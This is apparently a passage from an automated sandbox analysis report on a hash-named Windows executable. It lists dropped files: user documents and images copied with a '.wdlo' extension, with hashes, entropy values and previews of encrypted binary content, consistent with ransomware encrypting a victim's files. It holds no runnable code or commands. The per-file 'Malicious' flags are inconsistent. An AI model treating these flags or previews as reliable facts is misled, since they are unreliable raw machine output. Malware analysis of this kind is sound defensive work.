Preview:	ZGGKNo.....x..e..=lP5.I~..a...f..-.rrg"......u.....p_{e.........N.m~,......13q..n..j..Ed..Y....:.]-..=vT;~2..Y.@...nh..hi...2G.o ..7. ..j.....BfO..J.p...1..b.4..".q"..!6..)(P.x.G.9..Q.7.o..G[.L.$/s.....[......Mj.".E...........0...I.......]:.`.Z(m.....u.n...\|{.(....h`..u...._.g.(.(S..q....1.>.&..\|.......Tc..y....\..OZ~Wy.XR9.3..N...<...F..\|JojRAiZ.........P..4..?6.6Q.^)..<....@....Q.......\Rl<.....}U....t.........V..8_...d......._i.x...g.\|h.G....<_u...]].i.OK...>.v.n....L...4...h..].A.b%..G.5..&..u+T..Yr/....j.VPw^.a....sv9.Pe.3.T{ .]....y.[.Z[....PT...7/qJ...."...k.:..'.....%.........i....ip.m@......#.2k.....O..(.<.$......G..5,m.5..].a......N....Q..H.... L...\|.@0)$....@.9....si.1.#.A...>.cZj..e...\|.S..._.Ud.F.]..f.}o@..QL...A....G...B.e.U.'....[x...<....pF....@.....~0^..6...~.-....9..X.]n'....xg.w...[I...C..<m.Gx.i..S.vBO.(.....k#....f...{On..m..a_.N..I..]NY.9......... ....r.,.{...UQ......3.."_.......P....d.Qk...........

C:\Users\user\Desktop\BJZFPPWAPT\ZGGKNSUKOP.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842257746837957
Encrypted:	false
SSDEEP:	24:tuu+S7lCrBA6IduuAZesLlQoxQ7V4KbadS20C7OL+sXPJDES0h73zbD:tXegmeKrkVnbYJfOL+sf7c73nD
MD5:	6FD803F1425D99259368C79BBAA8E118
SHA1:	9E52737E6DB93D4B567AC72E4514664566488676
SHA-256:	10DB4F84152AB9ED43BB66CC49E1284BCEF789FA8BDA7928B46D7122274B9CDF
SHA-512:	FBEB6187A48B3E0C96D4B9F0358D0BBAA026DF0E8D1824736E3C28086B8797E0494B8C2B27CFE3C51FD493B13AE085815FB433D4E7ACAC609D28BA12C64E2352
Malicious:	false
Preview:	ZGGKNo.....x..e..=lP5.I~..a...f..-.rrg"......u.....p_{e.........N.m~,......13q..n..j..Ed..Y....:.]-..=vT;~2..Y.@...nh..hi...2G.o ..7. ..j.....BfO..J.p...1..b.4..".q"..!6..)(P.x.G.9..Q.7.o..G[.L.$/s.....[......Mj.".E...........0...I.......]:.`.Z(m.....u.n...\|{.(....h`..u...._.g.(.(S..q....1.>.&..\|.......Tc..y....\..OZ~Wy.XR9.3..N...<...F..\|JojRAiZ.........P..4..?6.6Q.^)..<....@....Q.......\Rl<.....}U....t.........V..8_...d......._i.x...g.\|h.G....<_u...]].i.OK...>.v.n....L...4...h..].A.b%..G.5..&..u+T..Yr/....j.VPw^.a....sv9.Pe.3.T{ .]....y.[.Z[....PT...7/qJ...."...k.:..'.....%.........i....ip.m@......#.2k.....O..(.<.$......G..5,m.5..].a......N....Q..H.... L...\|.@0)$....@.9....si.1.#.A...>.cZj..e...\|.S..._.Ud.F.]..f.}o@..QL...A....G...B.e.U.'....[x...<....pF....@.....~0^..6...~.-....9..X.]n'....xg.w...[I...C..<m.Gx.i..S.vBO.(.....k#....f...{On..m..a_.N..I..]NY.9......... ....r.,.{...UQ......3.."_.......P....d.Qk...........

C:\Users\user\Desktop\DUUDTUBZFW.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839271018646149
Encrypted:	false
SSDEEP:	24:tCh8Zo7kHNeI5zU9PUPIV6g8XShknpKAnJqeVJOaCaWEq8BVuEi3zbD:tCmZo7ktoKI4rXShknpBqgwj7EqYVuPT
MD5:	6AADF6E03020CDF128A70B5A4DDC673C
SHA1:	B0DCBD0767882BC0272F3DAA2E7611389DBE5998
SHA-256:	073249FF294C4D2C2D257D21A6A4CB7BD838D71049E8C39A41A0AC3F16FBFAA7
SHA-512:	208E986FFD4722D7741DA435774C4CCC5CEA74C211F1B16AE8F58647E343D0B6036F73991C36A1B89A173AA4F49235F3E706CBCBE8C6D30035CD1214F06081E7
Malicious:	false
Preview:	DUUDTm.Y.Ia(j.....l...\..%.m.zk...O.I..m.pwJ.......B.h.b........1g.C.A.G:...aGo.k.k./.`D........../.M....j.I...1>..XtdUY..=.....nk.L..+...e.,@,h.~`..X....ZH7.r..9d7...".N.....s(..N...`-....m..B..KGR.\|..D.~_.j'U[......z.G-..r..{'9.....g.%.~n\|.v...x-f&....n.....LM900=....h.x.u...f6#..('...R.N...x..f..................#/....P..`.I....kp.3.._..%.......mh,....c..<...c.Qh.3...?.p....f...is`.n...;XNA>...`^8.8.8!...)EO!2.....J0<H.?..V.2uD.?wT:yw..0....gm ;...G..^e7..q...PF.l...;..~?qzn.+.L].w<..".....Q... 4L...\|2AH..m...P.6KZ.q..#+.._...(...b`.i.}!.....e..0./v...'#...?L...G...Z..!m^m...."s.....8G... ..&..o....~.F+^M.6..$=..?......6.PV?qQ...I?3.O......2S...:".....`s.\X.Q.. .........\..`.WoH...=`rP.>,.X.....z.@...u...9U.l....Z....i.}..!..n....f..wk...^.e....Ut....."l..%OEv:.S..?N...q.+L...^*.2.Hd.KELox9.}.(...u\|./..E.9..0.YN.v..V....L<p..meVn.....^.&.hp{...sl .Y.,.t.M;S0........r. c.R..R....5..~{...."./..1...;2..=..O.?;8.w.....e-.u..\..Q.##.e...y.

C:\Users\user\Desktop\DUUDTUBZFW.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839271018646149
Encrypted:	false
SSDEEP:	24:tCh8Zo7kHNeI5zU9PUPIV6g8XShknpKAnJqeVJOaCaWEq8BVuEi3zbD:tCmZo7ktoKI4rXShknpBqgwj7EqYVuPT
MD5:	6AADF6E03020CDF128A70B5A4DDC673C
SHA1:	B0DCBD0767882BC0272F3DAA2E7611389DBE5998
SHA-256:	073249FF294C4D2C2D257D21A6A4CB7BD838D71049E8C39A41A0AC3F16FBFAA7
SHA-512:	208E986FFD4722D7741DA435774C4CCC5CEA74C211F1B16AE8F58647E343D0B6036F73991C36A1B89A173AA4F49235F3E706CBCBE8C6D30035CD1214F06081E7
Malicious:	false
Preview:	DUUDTm.Y.Ia(j.....l...\..%.m.zk...O.I..m.pwJ.......B.h.b........1g.C.A.G:...aGo.k.k./.`D........../.M....j.I...1>..XtdUY..=.....nk.L..+...e.,@,h.~`..X....ZH7.r..9d7...".N.....s(..N...`-....m..B..KGR.\|..D.~_.j'U[......z.G-..r..{'9.....g.%.~n\|.v...x-f&....n.....LM900=....h.x.u...f6#..('...R.N...x..f..................#/....P..`.I....kp.3.._..%.......mh,....c..<...c.Qh.3...?.p....f...is`.n...;XNA>...`^8.8.8!...)EO!2.....J0<H.?..V.2uD.?wT:yw..0....gm ;...G..^e7..q...PF.l...;..~?qzn.+.L].w<..".....Q... 4L...\|2AH..m...P.6KZ.q..#+.._...(...b`.i.}!.....e..0./v...'#...?L...G...Z..!m^m...."s.....8G... ..&..o....~.F+^M.6..$=..?......6.PV?qQ...I?3.O......2S...:".....`s.\X.Q.. .........\..`.WoH...=`rP.>,.X.....z.@...u...9U.l....Z....i.}..!..n....f..wk...^.e....Ut....."l..%OEv:.S..?N...q.+L...^*.2.Hd.KELox9.}.(...u\|./..E.9..0.YN.v..V....L<p..meVn.....^.&.hp{...sl .Y.,.t.M;S0........r. c.R..R....5..~{...."./..1...;2..=..O.?;8.w.....e-.u..\..Q.##.e...y.

C:\Users\user\Desktop\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85092848910537
Encrypted:	false
SSDEEP:	24:JrpFjNRdFDqnYekjW9olq/UVmTOnjJaVSN/RI2yoaOVgGJsuAzyXiFMWEvmSDIkT:Jz7nneRyqcMCn9aMS3zxAsHGyFMWEjXT
MD5:	AD186099BC8C11059EE9EE06EB0E6C89
SHA1:	66D4AC618ECF796B56DE2DB5F977933E56B78672
SHA-256:	0F57DC10A3EC6F77972070A092B85E7DA700226BE3C4A1C4F90948BEFF8B6EEC
SHA-512:	5A921814BCCAAB102BE5546BAEC6776060FF6FC9E2294FFA5EA7055D8E158CF736516B30799C56A6C8EC2D34D4DEF2FF88D6AB2561F4CBC2F47BCFD0B18AFC39
Malicious:	false
Preview:	EEGWX..e....5..QO8....EH.....t@.....z.w..,.cA..._.v.4.!.<.r..Z.&.k..9.ZJ.a.Kv:....&.....I3.......<\|L(N.....%..;...9 .0....E.........5...?...b..D.,.!...M_...j......v.9k1..)...?H....K.D..t..'...^.]k&.......b..5'<p]O.Mq%x.=...L.@\|...r.<..].(...=.Q./......>...X......5.7..\|.\|.zO.<.....E.a].....T.;..........._u....... .!..n..]....0.(..>U. ...8..{........w.T.......D..R.d..Z..S....S......9.2...b. F../.A.$.\|#.X.8....A.'T.9j.)..S...9=.%V.L...v.1..a.@5C5J_..6..Y...EA.:ZG....Z....].d.@.CvT.../......h..X.nr..>..c...)....-.c!..?..u.+...d..;q."._...!_?WvvbZ.4.Z.-.H.R[.........z.I..r..R!.=.{..11........K....n..(uk.....V.....B.N;.....@..~.#....E....R....1.q..X.....}.\x);2......./~......(.8....T..{q..j.$..W...I.....n..F....>.Hx.........~E...f....e........-6......l.<...j9..eO..W. ..1N .0..][..7`.J...../+7G:.3..1.{..J..'{...,.d-+U#,..0._...U'.........um..Mv.I.'.?.KU1.ZV...4.F.h#B...cGo;..................\Kd.....~......-......g...@9?s.eaPR...\|..#!

C:\Users\user\Desktop\EEGWXUHVUG.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85092848910537
Encrypted:	false
SSDEEP:	24:JrpFjNRdFDqnYekjW9olq/UVmTOnjJaVSN/RI2yoaOVgGJsuAzyXiFMWEvmSDIkT:Jz7nneRyqcMCn9aMS3zxAsHGyFMWEjXT
MD5:	AD186099BC8C11059EE9EE06EB0E6C89
SHA1:	66D4AC618ECF796B56DE2DB5F977933E56B78672
SHA-256:	0F57DC10A3EC6F77972070A092B85E7DA700226BE3C4A1C4F90948BEFF8B6EEC
SHA-512:	5A921814BCCAAB102BE5546BAEC6776060FF6FC9E2294FFA5EA7055D8E158CF736516B30799C56A6C8EC2D34D4DEF2FF88D6AB2561F4CBC2F47BCFD0B18AFC39
Malicious:	false
Preview:	EEGWX..e....5..QO8....EH.....t@.....z.w..,.cA..._.v.4.!.<.r..Z.&.k..9.ZJ.a.Kv:....&.....I3.......<\|L(N.....%..;...9 .0....E.........5...?...b..D.,.!...M_...j......v.9k1..)...?H....K.D..t..'...^.]k&.......b..5'<p]O.Mq%x.=...L.@\|...r.<..].(...=.Q./......>...X......5.7..\|.\|.zO.<.....E.a].....T.;..........._u....... .!..n..]....0.(..>U. ...8..{........w.T.......D..R.d..Z..S....S......9.2...b. F../.A.$.\|#.X.8....A.'T.9j.)..S...9=.%V.L...v.1..a.@5C5J_..6..Y...EA.:ZG....Z....].d.@.CvT.../......h..X.nr..>..c...)....-.c!..?..u.+...d..;q."._...!_?WvvbZ.4.Z.-.H.R[.........z.I..r..R!.=.{..11........K....n..(uk.....V.....B.N;.....@..~.#....E....R....1.q..X.....}.\x);2......./~......(.8....T..{q..j.$..W...I.....n..F....>.Hx.........~E...f....e........-6......l.<...j9..eO..W. ..1N .0..][..7`.J...../+7G:.3..1.{..J..'{...,.d-+U#,..0._...U'.........um..Mv.I.'.?.KU1.ZV...4.F.h#B...cGo;..................\Kd.....~......-......g...@9?s.eaPR...\|..#!

C:\Users\user\Desktop\EEGWXUHVUG\BJZFPPWAPT.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861353795518144
Encrypted:	false
SSDEEP:	24:F4aTozyX8syV/NS3zzRtoDtCEM8UGFrXnK1ouOcmuBivVb3zbD:GvzyX8sG83zLoDtC1/VQvV3nD
MD5:	5E3F4133CF91C5191263977AC1E33DE5
SHA1:	FBC801343C411D6751DA5B0C5E21E8FC44179A82
SHA-256:	E6CF6F80A9C5E770FD729EF47F9FF9ABF6FA1F529572463E9B99322D18BCA038
SHA-512:	4E960097F906CA9E896D1E036F46500FE319221338BA8CEAC3A3A258DCE43FCA97837CCE7B276B8A2B5F53905418C75B927C9F21625A31B01DD641DD6565C8CD
Malicious:	false
Preview:	BJZFP.nzS.8.,Vr...AS...0...}..A..S...X.C,&.).9.....y..A\|..3........d.3.F.ZK.rd..-[1y...x...1./....\0..N...u.%5 0 ]oM.LbG..$.?........$D..X18lg1}a9."2u^."....c...:.....^>..2...D....'..(..Y.@.......t....D..O...<...QH..c.R..Q........Ie....(fL. ...f:......Y.....G...S(#`.O.%x..S.g.....".I.1.y.1.0....yI....](9..W...~.....M.;....+\....."....P..!..XW..m..[2:........1Byq..h.....e:..$.7.$..Pf")d.{Ba.9....\.n.2.o...M....O...Y...p..Z.o.s .8..7....ls..r..d=....B..j..%.2L....V5..(.x.....m.x..\|vf..y.ia.9V....i?.c[Q_........U.[......5H.......!.9}.i.w'<M..7..M....Sj.C\|.+.b,.:9IF.....;@.9..P /.>.L....bmYO...C..J.T[RJ....^M...9~,.b[...Q...?d_c.....3..........lkN.p....&.j.y..C.{.Iq.....(x.g..s.f.m.z. X.%.1>..m1mN.@F..........mJv..;f...:Al...'T.J..bd.#{g.S....I..[..'..t.....E....{..]....@Cl.6....y.R=.CF.&.,o..S.ii.)..6....-....p0-.Mk).1.].0....F.G.c1...aF....K..M..P..".3..O.....:.t..E...%.G.bh..k...%z......x.......l....U.2S..O...n.#S..zSh.7.P="^K.B...G2

C:\Users\user\Desktop\EEGWXUHVUG\BJZFPPWAPT.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861353795518144
Encrypted:	false
SSDEEP:	24:F4aTozyX8syV/NS3zzRtoDtCEM8UGFrXnK1ouOcmuBivVb3zbD:GvzyX8sG83zLoDtC1/VQvV3nD
MD5:	5E3F4133CF91C5191263977AC1E33DE5
SHA1:	FBC801343C411D6751DA5B0C5E21E8FC44179A82
SHA-256:	E6CF6F80A9C5E770FD729EF47F9FF9ABF6FA1F529572463E9B99322D18BCA038
SHA-512:	4E960097F906CA9E896D1E036F46500FE319221338BA8CEAC3A3A258DCE43FCA97837CCE7B276B8A2B5F53905418C75B927C9F21625A31B01DD641DD6565C8CD
Malicious:	false
Preview:	BJZFP.nzS.8.,Vr...AS...0...}..A..S...X.C,&.).9.....y..A\|..3........d.3.F.ZK.rd..-[1y...x...1./....\0..N...u.%5 0 ]oM.LbG..$.?........$D..X18lg1}a9."2u^."....c...:.....^>..2...D....'..(..Y.@.......t....D..O...<...QH..c.R..Q........Ie....(fL. ...f:......Y.....G...S(#`.O.%x..S.g.....".I.1.y.1.0....yI....](9..W...~.....M.;....+\....."....P..!..XW..m..[2:........1Byq..h.....e:..$.7.$..Pf")d.{Ba.9....\.n.2.o...M....O...Y...p..Z.o.s .8..7....ls..r..d=....B..j..%.2L....V5..(.x.....m.x..\|vf..y.ia.9V....i?.c[Q_........U.[......5H.......!.9}.i.w'<M..7..M....Sj.C\|.+.b,.:9IF.....;@.9..P /.>.L....bmYO...C..J.T[RJ....^M...9~,.b[...Q...?d_c.....3..........lkN.p....&.j.y..C.{.Iq.....(x.g..s.f.m.z. X.%.1>..m1mN.@F..........mJv..;f...:Al...'T.J..bd.#{g.S....I..[..'..t.....E....{..]....@Cl.6....y.R=.CF.&.,o..S.ii.)..6....-....p0-.Mk).1.].0....F.G.c1...aF....K..M..P..".3..O.....:.t..E...%.G.bh..k...%z......x.......l....U.2S..O...n.#S..zSh.7.P="^K.B...G2

C:\Users\user\Desktop\EEGWXUHVUG\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834343595272571
Encrypted:	false
SSDEEP:	24:mKNu7vIK7/syZki5a4jxYBVaP49+GbIz3AlMEJIdTmFo76CzLkhnSaiCB3zbD:dkLIa/pZXjpPUhJIdTmEzLUSi3nD
MD5:	61B235A2EDC8A517BA373436F42C869E
SHA1:	BDBF1BEFAF48F5643A1C334EF1046071C4DA73E4
SHA-256:	5927E0E729197F642B5ACB3071F98F6E0B00DE558D19CCA7BDAC6648575A1BDA
SHA-512:	9F5D0D25EC90631A2F78E6A0F163AC0E7ECB132ADFF0558F84181865586E9CB9E81BEC3C9D9D5EB4834E0B9627A3901597471318E258C619EAFB954E77E9EA77
Malicious:	true
Preview:	EEGWXh~....{.6.q;..........Z..>..........5\|.L. ...6.Q.p..Dw=....,.I.6&6.?...Bo!^2....)./5-.oN.....s..\...gI...X.A.B.{?p...V.Z...-..q.`.!..V.\.l..!.In...!k.p.7"..9...+.YI']a.\|Bu~Q....3...1.:...\|S/.gg]F.....@...`,~.%y..@.....?..J..'.o@\|...3.....Gs.....h...1....W..RW..m).c.....!qz12Y'>3.......L.....m?]...`......k.{."..0D.=.?.X..S.r..)=...V.c.....#[&...m.T4 ..G....K/.X>.vu'..1.....V_i..Wk.z...x......U.... .~N..8..E.4k`O.>.jn .#..T..L.G6A...%x......8Jq6dt..R.......u2.N...o.t..l....,.@....8t.i".#.T9..V?...?.,..cq.".r'.Wh..X<......s.R..-B.q.....O......6g1@....xV..W.f..............4..8J....%...s.g..fu......n.....x..k.c..W...c...1.. .-J.\.5..hL...N..:5T..'s.1.M..Qh..H..O..S..q.0..8...K......J.q.]T...v..2......!..=.W..h......s.D..1....g..u..\|....).o+S..:q/...VU>.F.......r..4.e.@w....Pm[.#[..'..].. +...........@.d..j....OM.(..1.} ..V2 .U...SN.,L.6...}.S.\p.A..@.0.j..2.........8W8*..r......\.p.S...{Y.......P.FI..6"u \|R.......F`1y.t....Q..

C:\Users\user\Desktop\EEGWXUHVUG\EEGWXUHVUG.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834343595272571
Encrypted:	false
SSDEEP:	24:mKNu7vIK7/syZki5a4jxYBVaP49+GbIz3AlMEJIdTmFo76CzLkhnSaiCB3zbD:dkLIa/pZXjpPUhJIdTmEzLUSi3nD
MD5:	61B235A2EDC8A517BA373436F42C869E
SHA1:	BDBF1BEFAF48F5643A1C334EF1046071C4DA73E4
SHA-256:	5927E0E729197F642B5ACB3071F98F6E0B00DE558D19CCA7BDAC6648575A1BDA
SHA-512:	9F5D0D25EC90631A2F78E6A0F163AC0E7ECB132ADFF0558F84181865586E9CB9E81BEC3C9D9D5EB4834E0B9627A3901597471318E258C619EAFB954E77E9EA77
Malicious:	false
Preview:	EEGWXh~....{.6.q;..........Z..>..........5\|.L. ...6.Q.p..Dw=....,.I.6&6.?...Bo!^2....)./5-.oN.....s..\...gI...X.A.B.{?p...V.Z...-..q.`.!..V.\.l..!.In...!k.p.7"..9...+.YI']a.\|Bu~Q....3...1.:...\|S/.gg]F.....@...`,~.%y..@.....?..J..'.o@\|...3.....Gs.....h...1....W..RW..m).c.....!qz12Y'>3.......L.....m?]...`......k.{."..0D.=.?.X..S.r..)=...V.c.....#[&...m.T4 ..G....K/.X>.vu'..1.....V_i..Wk.z...x......U.... .~N..8..E.4k`O.>.jn .#..T..L.G6A...%x......8Jq6dt..R.......u2.N...o.t..l....,.@....8t.i".#.T9..V?...?.,..cq.".r'.Wh..X<......s.R..-B.q.....O......6g1@....xV..W.f..............4..8J....%...s.g..fu......n.....x..k.c..W...c...1.. .-J.\.5..hL...N..:5T..'s.1.M..Qh..H..O..S..q.0..8...K......J.q.]T...v..2......!..=.W..h......s.D..1....g..u..\|....).o+S..:q/...VU>.F.......r..4.e.@w....Pm[.#[..'..].. +...........@.d..j....OM.(..1.} ..V2 .U...SN.,L.6...}.S.\p.A..@.0.j..2.........8W8*..r......\.p.S...{Y.......P.FI..6"u \|R.......F`1y.t....Q..

C:\Users\user\Desktop\EEGWXUHVUG\EFOYFBOLXA.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841326926795169
Encrypted:	false
SSDEEP:	24:nXJA0cMmdFYseH8tZwOZ4pTmrJ7eJ6aoxC0wkbOmDhVKCoUl0N3zbD:XShMmPYseH384pTmrJ7eUxCXUohfN3nD
MD5:	61C1E77271D551A2048E22FE640D3DAC
SHA1:	43DFF95B97393C5D069E81ED79E1B6BFA3C67252
SHA-256:	FB348339A161891E55A539D68988AD8EF6843D0419BDCD480661F6DDBEA78C09
SHA-512:	F5426F20019B04A9E5D2CF4BBE6291C984C0AC3C42E9B93DBBB403D77254FB7C2AA11A99A071BB9B857896B584A60F1119CB41CED67F65E3B81857629D41FB2B
Malicious:	false
Preview:	EFOYF.jp.BN&..e..x.......\|7.....P".,...v?!&.b.\|.s9.4\|..o.....f.e.Xe.:^..{...L.2!..]S.\|.8...^...U.3SG..n.X(nk.l...;....BG.N.".h......3......]27By%#.47...f&@......./.h..>"...,fRb....B.`.w....I....f....6..J.....S;.a.bzr. ..iZ.......{..J...l..&......+.'.N......e.....=.<...CI%y.z.3U=F...$.....L..^P.N.(.....d..~.D......l..6..LJw?.........j>...4%...........$.V..Y_..iwA..LM.#..e...../...Rv..{?@T.k.'.e..J~.X.R.hTE..!....<...................p......!f-I"......9......x-.Z..&M..$....R.A.R.......m.Kw..F`....b...C.A...V.j0....q.F6.N...}F..y..eAu.Gc(.y$..[....U1.!...R.r...G?.X$.Q.X.?\|.Cz..+..t3Z.lS.>"...m..H._.CZBv.g8.Sx.c..a..I.....A.}O3..P.Ym.R...L.o$&.=..2.;5.....i..p.NX..w..$....&....['...X...1....ot%H.J....x..f.?....Q5...o..6..V.......i..q....57...b..FH.`......b..y.x. ..x.R.#...!.]"q.b..A....?..j....~.... ...F4.P.&.\6.\t.+.k.f.....$-.$..;..=A..`....s..yD..F6m..7P..S.P...."....b..7S......=..Z...{....Zr......!....".....6...`9k/..r8J[,.

C:\Users\user\Desktop\EEGWXUHVUG\EFOYFBOLXA.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841326926795169
Encrypted:	false
SSDEEP:	24:nXJA0cMmdFYseH8tZwOZ4pTmrJ7eJ6aoxC0wkbOmDhVKCoUl0N3zbD:XShMmPYseH384pTmrJ7eUxCXUohfN3nD
MD5:	61C1E77271D551A2048E22FE640D3DAC
SHA1:	43DFF95B97393C5D069E81ED79E1B6BFA3C67252
SHA-256:	FB348339A161891E55A539D68988AD8EF6843D0419BDCD480661F6DDBEA78C09
SHA-512:	F5426F20019B04A9E5D2CF4BBE6291C984C0AC3C42E9B93DBBB403D77254FB7C2AA11A99A071BB9B857896B584A60F1119CB41CED67F65E3B81857629D41FB2B
Malicious:	false
Preview:	EFOYF.jp.BN&..e..x.......\|7.....P".,...v?!&.b.\|.s9.4\|..o.....f.e.Xe.:^..{...L.2!..]S.\|.8...^...U.3SG..n.X(nk.l...;....BG.N.".h......3......]27By%#.47...f&@......./.h..>"...,fRb....B.`.w....I....f....6..J.....S;.a.bzr. ..iZ.......{..J...l..&......+.'.N......e.....=.<...CI%y.z.3U=F...$.....L..^P.N.(.....d..~.D......l..6..LJw?.........j>...4%...........$.V..Y_..iwA..LM.#..e...../...Rv..{?@T.k.'.e..J~.X.R.hTE..!....<...................p......!f-I"......9......x-.Z..&M..$....R.A.R.......m.Kw..F`....b...C.A...V.j0....q.F6.N...}F..y..eAu.Gc(.y$..[....U1.!...R.r...G?.X$.Q.X.?\|.Cz..+..t3Z.lS.>"...m..H._.CZBv.g8.Sx.c..a..I.....A.}O3..P.Ym.R...L.o$&.=..2.;5.....i..p.NX..w..$....&....['...X...1....ot%H.J....x..f.?....Q5...o..6..V.......i..q....57...b..FH.`......b..y.x. ..x.R.#...!.]"q.b..A....?..j....~.... ...F4.P.&.\6.\t.+.k.f.....$-.$..;..=A..`....s..yD..F6m..7P..S.P...."....b..7S......=..Z...{....Zr......!....".....6...`9k/..r8J[,.

C:\Users\user\Desktop\EEGWXUHVUG\GRXZDKKVDB.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844401785617987
Encrypted:	false
SSDEEP:	24:95lxDDLm/TDITiOOPp4g3uhHb/nbb0BRHo8hWVjmBjb3npMAWsAvjCAyHTqAbylN:flxDHm/fIhgp6hTbQBm5jmB3pA2AyHOr
MD5:	3FAB62FB061CD941E568A3E232D01972
SHA1:	0A68870E36216EA32E27331CDC189627A3A5B1C6
SHA-256:	6EE17DBB119E3E1C1DC7AD43F76C1AC8EA0D9E4B6E41A3AA57685A34010F103E
SHA-512:	E68BA619273B50C5963D4F3AF73C89210DCD9E09C5081B7AEE33B1F33931046D6B3492A06498AAD79ADAE0CEF1C39F9727F369574D0C68E89916A5364B70E993
Malicious:	false
Preview:	GRXZDeY..t\.v...(.}n..5.....>...2.7.)O>A......<.U.yZ.>.[....wca.`.P.IS....$A..n}.Z.#.._....+.....-u.3E.\.NK........>...f.s.r..<..D....j.}..-...+..[...4H...%..!.9.......$..U....V......u.....X.."80.`(n.}.o5.Y.....]..4g......."wG.Pw....K...S..H..8.aSu.a...HH{Nc.i6.3y\...A.#V1..5<.?.IY0.N..y.NyE..1Are.X{:....M#...j...~z....P!A..c.v.S...:.......q......n3)..7.8.../.dQ...\H9..e.z7......%..5u.(p}.8.P!...x^3..6.k...]....OK....-]......(.Y.m....%Sr:....:....M.@.7..M.#~..dk"5..7..D..{.Zn....l.....(........t..R.{qDpg.5<....C.I_...Z..7.a.D,V.../....].?7<....3...-..y.z....]..t+.]....<.t7.r..[.g..V.}..f..`U...W2h..\|.];I.._\.c......o..u..H.TO...em.I.0...j=.R+..5....._.X.onnW..g........gH...D...M^.Q"......E...q...w..........#(>@.sE.+.$...v.`..(iY..'./),[.=...!...........2.V..jRKgB.~...J..`..Wa.Al..-...$...._\.X....$.0.0.K.t.m...5......G..<O........ .........?(.......Kdr5..!....OE..K..U?o.P../.&.S...z.\|..s..$~m$.?~..w...W...._I..}Xy....].N....1NK.Z9...$

C:\Users\user\Desktop\EEGWXUHVUG\GRXZDKKVDB.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844401785617987
Encrypted:	false
SSDEEP:	24:95lxDDLm/TDITiOOPp4g3uhHb/nbb0BRHo8hWVjmBjb3npMAWsAvjCAyHTqAbylN:flxDHm/fIhgp6hTbQBm5jmB3pA2AyHOr
MD5:	3FAB62FB061CD941E568A3E232D01972
SHA1:	0A68870E36216EA32E27331CDC189627A3A5B1C6
SHA-256:	6EE17DBB119E3E1C1DC7AD43F76C1AC8EA0D9E4B6E41A3AA57685A34010F103E
SHA-512:	E68BA619273B50C5963D4F3AF73C89210DCD9E09C5081B7AEE33B1F33931046D6B3492A06498AAD79ADAE0CEF1C39F9727F369574D0C68E89916A5364B70E993
Malicious:	false
Preview:	GRXZDeY..t\.v...(.}n..5.....>...2.7.)O>A......<.U.yZ.>.[....wca.`.P.IS....$A..n}.Z.#.._....+.....-u.3E.\.NK........>...f.s.r..<..D....j.}..-...+..[...4H...%..!.9.......$..U....V......u.....X.."80.`(n.}.o5.Y.....]..4g......."wG.Pw....K...S..H..8.aSu.a...HH{Nc.i6.3y\...A.#V1..5<.?.IY0.N..y.NyE..1Are.X{:....M#...j...~z....P!A..c.v.S...:.......q......n3)..7.8.../.dQ...\H9..e.z7......%..5u.(p}.8.P!...x^3..6.k...]....OK....-]......(.Y.m....%Sr:....:....M.@.7..M.#~..dk"5..7..D..{.Zn....l.....(........t..R.{qDpg.5<....C.I_...Z..7.a.D,V.../....].?7<....3...-..y.z....]..t+.]....<.t7.r..[.g..V.}..f..`U...W2h..\|.];I.._\.c......o..u..H.TO...em.I.0...j=.R+..5....._.X.onnW..g........gH...D...M^.Q"......E...q...w..........#(>@.sE.+.$...v.`..(iY..'./),[.=...!...........2.V..jRKgB.~...J..`..Wa.Al..-...$...._\.X....$.0